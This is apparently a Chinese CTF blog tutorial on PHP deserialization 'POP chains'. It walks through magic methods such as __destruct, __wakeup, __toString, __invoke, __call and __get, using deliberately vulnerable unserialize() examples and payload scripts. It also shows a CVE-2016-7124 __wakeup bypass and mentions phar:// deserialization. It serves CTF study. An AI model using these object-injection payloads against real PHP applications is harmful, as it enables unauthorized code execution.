POP一命通关!

怎么做POP题

做ctf的web方向总是不可避免的遇到和php反序列化有关的题,而pop就是其中的套娃题,需要多次利用魔法方法实现跳转最后实现恶意的代码,从方法到方法的跳转的精妙构造,最后看起来的效果就像一条链子一样,所以我们叫它pop链。

一般来说做一道pop题,首先要做的就是分析题目里的各个方法,在大脑里构造出一条能串起来各种方法的链子,然后把它写出来,形如:

fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag

有了链子之后写payload也就是顺水推舟、轻而易举的事情了,在这里我会详细记录各种魔术方法的调用方式以及它们在各种CTF题目里的具体考查方式,为以后做题查询各种魔术方法提供方便。

各种奇奇怪怪的魔术方法

__construct()

首先是最经典的构造函数和析构函数,他们可以说是POP里最关键的一个部分,因为可以由它们的触发让整个链子动起来。

__construct(),又称构造函数,构造函数是一种特殊的方法。主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用,简而言之,它是一种会在创建对象时调用一次的函数,具体用法如下:

我们看到CTF中的具体出现,比如[MRCTF2020]Ezpop,这里面对于__construct的作用也基本上和描述一样,主要是用来初始化对象的:

就是被new了之后给对象的成员进行一些初始化工作,一般来说写pop链的时候不用具体写到它。

__destruct()

__destruct(),即析构函数(destructor), 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数,如:

可以看到_destruct这个方法会在_construct执行后再执行,因此我们如果new一个对象的话,可以自动执行两种函数,这对我们构造pop链有极大的帮助,而_destruct()在各种和反序列化的题目出现的频率简直是太多了,因为它能被unserialize()自动调用,也因此带动整个pop链,比如下面这个例子:

<?php
class new_construct
{
	public function __construct()
 	{
		echo "Hello world!I am __constuct()"."\n";
	 } 
	
	public function __destruct()
 	{
		echo "Hello world!I am __destruct()";
	 }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
?>

我们构造一个payload:

<?php
class new_construct
{
	public function __construct()
 	{
	 } 
	
	public function __destruct()
 	{
	 }
}

$a = new new_construct();
echo serialize($a);
#O:13:"new_construct":0:{}
?>

最后得到的结果是:

这就是最常见的反序列化考察方式,我们详细分析一下为什么能这样触发。php的序列化以及反序列化意思是:

  • 序列化(串行化):将变量转换为可保存或传输的字符串的过程;
  • 反序列化(反串行化):在适当的时候把这个字符串再转化成原来的变量使用;

也因此我们原本新创建的对象$a在被serialize()之后变成了一串字符串,而由于网页源码里有一句@unserialize($_GET[‘pop’]);,把我们传进去的序列化过后的字符串又反序列化后生成了对象,这样网页的源代码里就又出现了对象,因此随着对象的销毁就会触发析构函数__destruct()。

那为什么只触发了析构函数__destruct()没有触发构造函数__construct()呢,个人猜测是因为创建对象的过程是在我们之前写payload的时候发生的,当我们将对象序列化生成字符串的时候,对象就已经生成了,所以我们传payload然后反序列化字符串还原对象的时候已经没有生成对象这个过程了,自然也就不会触发在创建对象时初始化对象的构造函数__construct()了,因此真实的情况类似于:

那我们思考一个问题,如果这道题目里没有unserialize()帮我们触发__destruct(),那我们该怎么办呢?这时我们就要想到phar文件,在我之前的博客phar文件–对php反序列化漏洞利用的拓展提到过:phar可以依赖于文件系统的函数(file_exists()、is_dir()等),参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,然后可以不依赖于unserialize()进行反序列化操作,而且phar格式的文件即便是后缀被修改了,使用phar://这个伪协议读取,还是会按照phar的内容来解析的,甚至是用gzip压缩phar文件,修改后缀上传,也会自动解压一层并且按照phar内容来解析,所以对于一些文件上传的题目使用phar能有很好的效果。

__sleep()

serialize()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。因此序列化serialize()时会先检查是否有__sleep()并且是先执行sleep()再进行序列化,用法如下:

可以看见执行顺序是先执行__sleep()然后才会对象销毁触发__destruct。

在CTF中感觉__sleep()遇的少,毕竟一般都是unserialize()用的多,serialize()用的少。

__wakeup()

与__sleep()相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源,因此进行反序列化时会检查__wakeup()方法是否存在,存在即先调用__wakeup()再进行反序列化,用法如下:

可以看到当我们用unserialize()反序列化字符串时,会先触发__wakeup(),然后才会触发__destruct(),在CTF中__wakeup()的出现频率也是相当之高,一般来说pop链里unserialize()和wakeup()里都是接连出现的,如:

unserialize()
↓↓↓
A::__wakeup()

因为__wakeup()毕竟会在反序列化开始之前就自动调用,这样就能像__destruct()一样激活整条pop链了。

当然除了这个之外还有个常考点就是将wakeup作为负面因素,考察你如何绕过wakeup(),比如攻防世界·unserialize3:

直接像之前一样输入payload显然是不行的:

<?php
class xctf{
public $flag = '111';
public function __wakeup(){

}
}
$a = new xctf();
print(serialize($a));
#O:4:"xctf":1:{s:4:"flag";s:3:"111";} 
?> 

因为wakeup直接执行exit()并退出了,所以就没法继续反序列化了,那有没有解决的方法呢?当然有,那就是CVE-2016-7124,它的影响范围是

PHP5 < 5.6.25

PHP7 < 7.0.10

而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,所以我没只要把刚刚的payload里ctf后面那个1改为2就行了,因为真实的属性其实只有一个,那就是那个flag,因此现在的payload是:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

更多wakeup的绕过方法可以看我写的:PHP反序列化中wakeup()绕过总结

__toString()

官方文档里是这样描述它的:__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么,简单来说,就是在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况,具体情况:

<?php
class A{
   public $f1;
   public function __destruct()
   {
        echo $this->f1 . 'I am _destruct()';
   }
}

class B{ 
   public $source;

    public function __toString(){
    return "I am __toString()";
}
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

?>

payload为:

<?php
class A{
   public $f1;
   public function __destruct()
   {
       
   }
}

class B{ 
   public $source;

    public function __toString(){
    return "";
}
}

$a=new A();
$b=new B();

$a->f1=$b;
echo serialize($a); 
#O:1:"A":1:{s:2:"f1";O:1:"B":1:{s:6:"source";N;}}
?>

echo $this->f1 . 'I am _destruct()'."\n";时,$a里的$f1由于我们已经做了$b=new B(); $a->f1=$b;这个处理,其实已经是一个类的对象了,所以echo $this->f1 . 'I am _destruct()'."\n";的时候对$this->f1这个类是做字符串处理的,所以也会触发__toString()了。

__invoke()

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke(),具体情况:

<?php

class A{
	public $m1;
	public function run()
    {
        ($this->m1)();
    }
}

class B{
	public function __invoke()
    {
        echo "I am __invoke()"."\n";
    }	
}

class C{
	public $f1;
	public function __destruct()
	{
		 echo $this->f1 . 'admin';
        
	}
}

class D
{
    public $d1;

    public function __toString()
    {
        $this->d1->run();
        return 'hello,';
    }

}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

?>

payload就是:

<?php

class A{
	public $m1;
	public function run()
    {

    }
}

class B{
	public function __invoke()
    {
 
    }	
}

class C{
	public $f1;
	public function __destruct()
	{

	}
}

class D
{
    public $d1;

    public function __toString()
    {

    }

}

$c=new C();
$d=new D();
$a=new A();
$b=new B();

$c->f1=$d;
$d->d1=$a;
$a->m1=$b;

echo serialize($c);
#O:1:"C":1:{s:2:"f1";O:1:"D":1:{s:2:"d1";O:1:"A":1:{s:2:"m1";O:1:"B":0:{}}}}
?>

这种就属于一个稍微复杂点的pop链,揉合了之前提到过的几种魔术方法,它的pop链为:

C::__destruct
↓↓↓
D::__toString()
↓↓↓
A::run()
↓↓↓
B::__invoke()

理解起来应该挺简单的,毕竟__toString()的例子里我已经解释过了,可以用echo $this->f1 . ‘xxx’;这种形式调用__toString(),然后__toString()里又直接调用了run(),run()里以($this->m1)();这种形式进行了调用,通过$a->m1=$b所以顺理成章地调用了D类中的__invoke()方法。

__call

__call的作用是进行方法重载,当在对象中调用一个不可访问方法时,__call() 会被自动调用,它的原型是public __call(string $name, array $arguments),$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,不过我们一般可以不管它。在ctf中出现就可能是某个方法下调用了个题目里不存在的方法,这时就要想当通过__call()打配合,比如:

<?php
 class A{
	public function __call($a,$b)
    {
        echo "I am __call()!";
    }
}

 class B{
 	public $v1;
	public function __invoke()
    {
        $this->v1->world();
    }
}

class C{
	public $m1;
	public function __destruct()
    {
        ($this->m1)();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

?>

那我们的payload就为:

<?php
 class A{
	public function __call($a,$b)
    {

    }
}

 class B{
 	public $v1;
	public function __invoke()
    {

    }
}

class C{
	public $m1;
	public function __destruct()
    {

    }
}

$c=new C();
$b=new B();
$a=new A();

$c->m1=$b;
$b->v1=$a;

echo serialize($c);
#O:1:"C":1:{s:2:"m1";O:1:"B":1:{s:2:"v1";O:1:"A":0:{}}}
?>

这就是因为class B中的world()其实并不存在,所以当我们使$b->v1=$a;就可以调用A中的__call($a,$b)了。

__get()

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用,原型为public __get(string $name),参数 $name 是指要操作的变量名称,一般可以不管。比如:

<?php
class A{
	public function __get($key)
    {
        echo "I am __get()!";
    }
}

 class B{
 	public $source;
    public $str;
	public function flag()
    {
        $this->source->str;
    }
}

class C{
	public $m1;
	public function __destruct()
    {
        $this->m1->flag();
    }
}


if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

?>

payload:

<?php
 class A{
	public function __get($key)
    {
    }
}

 class B{
 	public $source;
    public $str;
	public function flag()
    {
    }
}

class C{
	public $m1;
	public function __destruct()
    {
    }
}

$c=new C();
$b=new B();
$a=new A();

$c->m1=$b;
$b->source=$a;

echo serialize($c);
#O:1:"C":1:{s:2:"m1";O:1:"B":2:{s:6:"source";O:1:"A":0:{}s:3:"str";N;}}
?>

这里我们$b->source中的source被赋为了A类,A中没有str这个属性,所以当调用$this->source->str;时会调用__get()。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇